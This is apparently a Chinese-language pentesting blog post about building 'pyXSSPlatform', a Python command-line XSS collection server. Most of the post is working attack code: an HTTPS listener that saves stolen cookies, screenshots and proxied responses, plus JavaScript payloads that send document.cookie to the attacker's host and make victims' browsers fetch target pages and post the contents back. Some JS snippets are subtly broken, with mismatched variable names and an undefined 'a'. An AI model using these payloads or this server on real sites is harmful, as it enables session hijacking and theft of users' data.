Good in study, attitude and health

渗透工具开发——XSS平台的命令行实现

0x00 前言


通过XSS平台,能够便于对XSS漏洞进行测试,获得重要信息。目前,可供使用的在线XSS平台有很多,也可以尝试自己搭建XSS平台。 但是,如果测试目标无法出网,我们就需要在内网搭建一个轻量化的XSS平台,既要安装方便,又要支持跨平台。

我暂时没有找到合适的开源工具,于是打算使用Python编写一个命令行工具,提供XSS平台的功能

0x01 简介


本文将要介绍以下内容:

  • 设计思路
  • 实现细节
  • 开源代码

0x02 设计思路


参照XSS平台,命令行工具需要提供以下功能:

1.创建HTTPS服务器,提供WEB服务 2.区分不同的数据,提取出关键内容并保存 3.功能模块化,便于二次开发

0x03 实现细节


1.创建HTTPS服务器,提供WEB服务

首先需要创建证书,这里可以使用openssl,命令如下:

openssl req -new -x509 -keyout https_svr_key.pem -out https_svr_key.pem -days 3650 -nodes

生成证书文件https_svr_key.pem

创建HTTPS服务器的Python3测试代码如下:

from http.server import SimpleHTTPRequestHandler
from http import server
import ssl

class RequestHandler(SimpleHTTPRequestHandler):
    def do_GET(self):
        f = self.send_head()
        if f:
            self.copyfile(f, self.wfile)
            f.close()

port =443
httpd =server.HTTPServer(("0.0.0.0", port),RequestHandler)

httpd.socket = ssl.wrap_socket(httpd.socket, certfile="https_svr_key.pem", server_side=True)

print("HTTTPS Server listening on 0.0.0.0:%d"%port)
httpd.serve_forever()

以上代码将会创建一个支持HTTPS协议的WEB服务器,功能同python -m SimpleHTTPServer 8000类似

2.区分不同的数据,提取出关键内容并保存

需要自定义处理模块RequestHandler,处理GET包和POST包

处理GET包的代码如下:

class RequestHandler(SimpleHTTPRequestHandler):
    def do_GET(self):
        f = self.send_head()
        if f:
            self.copyfile(f, self.wfile)
            f.close()
        print(self.headers["User-Agent"])
        if "/cookie" in self.path:
            localtime = time.strftime("%Y%m%d-%H%M%S", time.localtime())           
            savePath = self.client_address[0] + "-Cookie-" + str(localtime) + ".txt"
            print("[+] New Cookie: ")
            print("    Save as: " + savePath)
            cookieData = urllib.parse.unquote(self.path[15:])
            file = open(savePath,'wb')
            file.write(cookieData.encode())
            file.close()

其中,print(self.headers)用来输出GET请求的Header内容,可用于识别用户浏览器

为了获取用户Cookie,这里采用自定义格式,如果GET请求的地址带有cookie字符,将请求内容保存成文件,存储获得的用户Cookie

处理POST包的代码如下:

class RequestHandler(SimpleHTTPRequestHandler):
    def do_POST(self):
        data = "Success"
        self.send_response(200)
        self.send_header("Content-type", "text/plain")
        self.end_headers()
        self.wfile.write(data.encode("utf-8"))
        req_datas = self.rfile.read(int(self.headers["content-length"]))
        print(self.headers["User-Agent"])
        if self.path == "/screen":
            localtime = time.strftime("%Y%m%d-%H%M%S", time.localtime())           
            savePath = self.client_address[0] + "-CaptureScreen-" + str(localtime) + ".png"
            print("[+] New CaptureScreen: ")
            print("    Save as: " + savePath)
            base64str = urllib.parse.unquote(req_datas.decode())
            base64str = base64str[33:]
            imgData = base64.b64decode(base64str)
            file = open(savePath,'wb')
            file.write(imgData)
            file.close()
        elif self.path == "/data":
            localtime = time.strftime("%Y%m%d-%H%M%S", time.localtime())           
            savePath = self.client_address[0] + "-XMLHttpRequest-" + str(localtime) + ".html"
            httpData = urllib.parse.unquote(req_datas.decode())
            index = httpData.index(';data=')
            targetURL = httpData[9:index]
            responseData = httpData[index+6:]
            print("[+] New XMLHttpRequest")
            print("    TargetURL: " + targetURL)
            print("    Save as: " + savePath)
            file = open(savePath,'wb')
            file.write(responseData.encode())
            file.close()
        else:
            print(req_datas.decode())

以上代码会对POST包统一回复文本内容Success,状态码为200

对POST请求的地址进行判断,分别对应以下三个功能:

(1)保存用户屏幕截图

请求地址为/screen

从POST请求的参数中提取图像数据,作Base64解码后保存

(2)控制用户向指定地址发送http数据包,保存返回结果

请求地址为/data

从POST请求的参数中提取数据并保存

(3)默认功能

命令行输出POST请求的参数

注:

以上三个功能在提取数据内容时,需要使用urllib.parse.unquote()进行解码

3.功能模块化,便于二次开发

默认XSS平台的访问地址为:https://<xss platform url>/index.js

创建HTTPS服务器后,只需要编辑Python脚本同级目录下的index.js即可

这里介绍以下两个js脚本实现的功能:

(1)获取用户Cookie

读取用户Cookie可使用document.cookie

在回传Cookie数据时,为了避免跨域问题,可使用Image对象,示例代码如下:

var serverUrl = "https://<xss platform ip>/cookie";//change this
var newimg = new Image();   
newimg.src=serverUrl+"?cookie="+escape(document.cookie);

使用Image对象,只能发送GET请求,无法获得响应内容,只能通过onerror和onload事件判断是否响应

(2)通过js发送HTTP请求

HTTP请求支持GET和POST,还需要区分同步和异步方法

对于同步方法,调用一旦开始,调用者必须等到方法调用返回后才能继续后续的行为。为了将请求结果回传至服务器,可以通过return获得数据包的返回结果后再进行回传

对于异步方法,调用一旦开始,方法调用就会立即返回。为了将请求结果回传至服务器,这里可以通过回调函数callback实现

回调函数callback的简单理解:函数可以作为参数在另一个函数中被调用

例如如下代码:

function test1(callback)
{ 
    a=1     
    callback(a)
}
test1(function(x){console.log(x)})

执行代码后将在控制台输出1

综上,向指定url发送GET数据包,将请求结果回传至服务器可使用两种方法:

方法1:同步方法

function initialize() {
    var xmlHttp;
    if (window.XMLHttpRequest)
    {// code for IE7+, Firefox, Chrome, Opera, Safari
        xmlhttp=new XMLHttpRequest();
    }
    else
    {// code for IE6, IE5
        xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
    return xmlHttp;
}
function getSynchronous(url) {
    var xmlHttp=initialize();
    xmlhttp.open("GET",url,false);
    xmlhttp.send();
    return xmlhttp.responseText;
}
function postSynchronous(url, data, type) {
    var xmlHttp=initialize();
    xmlhttp.open("POST",url,false);
    xmlhttp.setRequestHeader("Content-type",type);
    xmlhttp.send(encodeURIComponent(data));
    return xmlhttp.responseText;
}
var xmlhttp;
var serverUrl = "https://<xss platform ip>/data";
var targetUrl = "<target url>" + "?t=" + Math.random();
responseData=getSynchronous(targetUrl);
postSynchronous(serverUrl,"location=" + targetUrl + ";data=" + responseData, "application/x-www-form-urlencoded");

方法2:异步方法+回调函数

function initialize() {
    var xmlHttp;
    if (window.XMLHttpRequest)
    {// code for IE7+, Firefox, Chrome, Opera, Safari
        xmlhttp=new XMLHttpRequest();
    }
    else
    {// code for IE6, IE5
        xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
    return xmlHttp;
}
function getAsynchronous(url, callback) {
    var xmlHttp=initialize();
    xmlhttp.open("GET",url,true);
    xmlhttp.send();
    xmlhttp.onreadystatechange=function()
    {
        if (xmlhttp.readyState==4 && xmlhttp.status==200)
        {
            if (callback) 
            {
                callback(xmlhttp.responseText);
            }
        }
    }
}
function postAsynchronous(url, data, type, callback) {
    var xmlHttp=initialize();
    xmlhttp.open("POST",url,true);
    xmlhttp.setRequestHeader("Content-type",type);
    xmlhttp.send(encodeURIComponent(data));
    xmlhttp.onreadystatechange=function()
    {
        if (xmlhttp.readyState==4 && xmlhttp.status==200)
        {
            if (callback) 
            {
                callback(a.responseText);
            }
        }
    }
}
var xmlhttp;
var serverUrl = "https://<xss platform ip>/data"
var targetUrl = "<target url>" + "?t=" + Math.random();
getAsynchronous(targetUrl, function(responseText){postAsynchronous(serverUrl, "location=" + targetUrl + ";data=" + responseText, "application/x-www-form-urlencoded", "");});

注:

发送请求时加了参数"?t=" + Math.random()是为了防止接收到服务器的缓存页面

对于Chrome浏览器,在发送HTTP请求时,如果进行跨域访问,Chrome会提示请求被CORS协议阻止,但不影响数据的发送和接收

0x04 开源代码


完整代码已开源,地址如下:

https://github.com/3gstudent/pyXSSPlatform

pyXSSPlatform可直接在命令行下运行,支持以下三个功能:

  • GetCookie,获得用户Cookie,保存为.txt文件
  • CaptureScreen,截取用户屏幕,保存为.png文件
  • GET/POST,控制用户向指定地址发送http数据包,结果保存为.html文件

使用方法:

(1)通过openssl生成自签名证书,命令示例:

openssl req -new -x509 -keyout https_svr_key.pem -out https_svr_key.pem -days 3650 -nodes

(2)编辑文件index.js

填入要加载的js代码,代码模板可参考Payload_Template中的文件

(3)启动WEB服务器,命令示例:

pyXSSPlatform.py 192.168.1.1 443 https_svr_key.pem

此时,XSS平台的启动地址如下:

https://192.168.1.1/index.js

可随时修改index.js控制用户执行不同的功能

0x05 小结


本文介绍了通过Python搭建HTTPS服务器并在命令行实现XSS平台的方法,开源工具pyXSSPlatform,操作方便,支持跨平台运行,可进行二次开发。


LEAVE A REPLY